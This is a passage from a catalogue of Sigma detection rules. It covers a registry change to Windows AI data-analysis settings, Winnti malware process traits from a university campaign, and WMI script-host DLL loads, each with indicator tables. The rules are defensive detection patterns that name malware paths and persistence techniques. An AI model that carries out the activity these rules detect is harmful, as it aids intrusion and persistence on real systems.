    CommandLine|contains:
        - 'add'
        - '0'

Stage 4: selection_action_delete

selection_action_delete:
    CommandLine|contains: 'delete'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • 0 corpus 6 (sigma 6)
  • DisableAIDataAnalysis
  • Microsoft\Windows\WindowsAI
  • add corpus 30 (sigma 26, splunk 4)
  • delete corpus 30 (sigma 16, elastic 8, splunk 6)
field:"CommandLine" kind:match
Imageends_with
  • \reg.exe corpus 58 (sigma 58)
field:"Image" kind:ends_with value:"\reg.exe"
OriginalFileNameeq
  • reg.exe corpus 41 (sigma 32, splunk 8, elastic 1)
field:"OriginalFileName" kind:eq value:"reg.exe"

Winnti Malware HK University Campaign

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems), Markus Neis
Source
github.com/SigmaHQ/sigma

Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Winnti Malware HK University Campaign
id: 3121461b-5aa0-4a41-b910-66d25524edbb
status: test
description: Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities
references:
    - https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/
author: Florian Roth (Nextron Systems), Markus Neis
date: 2020-02-01
modified: 2021-11-27
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
    - attack.g0044
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        ParentImage|contains:
            - 'C:\Windows\Temp'
            - '\hpqhvind.exe'
        Image|startswith: 'C:\ProgramData\DRM'
    selection2:
        ParentImage|startswith: 'C:\ProgramData\DRM'
        Image|endswith: '\wmplayer.exe'
    selection3:
        ParentImage|endswith: '\Test.exe'
        Image|endswith: '\wmplayer.exe'
    selection4:
        Image: 'C:\ProgramData\DRM\CLR\CLR.exe'
    selection5:
        ParentImage|startswith: 'C:\ProgramData\DRM\Windows'
        Image|endswith: '\SearchFilterHost.exe'
    condition: 1 of selection*
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection1

selection1:
    ParentImage|contains:
        - 'C:\Windows\Temp'
        - '\hpqhvind.exe'
    Image|startswith: 'C:\ProgramData\DRM'

Stage 2: selection2

selection2:
    ParentImage|startswith: 'C:\ProgramData\DRM'
    Image|endswith: '\wmplayer.exe'

Stage 3: selection3

selection3:
    ParentImage|endswith: '\Test.exe'
    Image|endswith: '\wmplayer.exe'

Stage 4: selection4

selection4:
    Image: 'C:\ProgramData\DRM\CLR\CLR.exe'

Stage 5: selection5

selection5:
    ParentImage|startswith: 'C:\ProgramData\DRM\Windows'
    Image|endswith: '\SearchFilterHost.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \SearchFilterHost.exe corpus 3 (sigma 3)
  • \wmplayer.exe
field:"Image" kind:ends_with
Imageeq
  • C:\ProgramData\DRM\CLR\CLR.exe
field:"Image" kind:eq value:"C:\ProgramData\DRM\CLR\CLR.exe"
Imagestarts_with
  • C:\ProgramData\DRM
field:"Image" kind:starts_with value:"C:\ProgramData\DRM"
ParentImageends_with
  • \Test.exe
field:"ParentImage" kind:ends_with value:"\Test.exe"
ParentImagematch
  • C:\Windows\Temp
  • \hpqhvind.exe
field:"ParentImage" kind:match
ParentImagestarts_with
  • C:\ProgramData\DRM
  • C:\ProgramData\DRM\Windows
field:"ParentImage" kind:starts_with

WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load

#
Status
test
Severity
medium
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.

Known False Positives

  • Legitimate event consumers
  • Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load
id: b439f47d-ef52-4b29-9a2f-57d8a96cb6b8
status: test
description: Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.
references:
    - https://twitter.com/HunterPlaybook/status/1301207718355759107
    - https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
    - https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-09-02
modified: 2023-02-22
tags:
    - attack.lateral-movement
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.003
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\scrcons.exe'
        ImageLoaded|endswith:
            - '\vbscript.dll'
            - '\wbemdisp.dll'
            - '\wshom.ocx'
            - '\scrrun.dll'
    condition: selection
falsepositives:
    - Legitimate event consumers
    - Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\scrcons.exe'
    ImageLoaded|endswith:
        - '\vbscript.dll'
        - '\wbemdisp.dll'
        - '\wshom.ocx'
        - '\scrrun.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \scrcons.exe corpus 9 (sigma 9)
field:"Image" kind:ends_with value:"\scrcons.exe"
ImageLoadedends_with
  • \scrrun.dll
  • \vbscript.dll corpus 3 (sigma 3)
  • \wbemdisp.dll
  • \wshom.ocx
field:"ImageLoaded" kind:ends_with

Back to all Sigma rules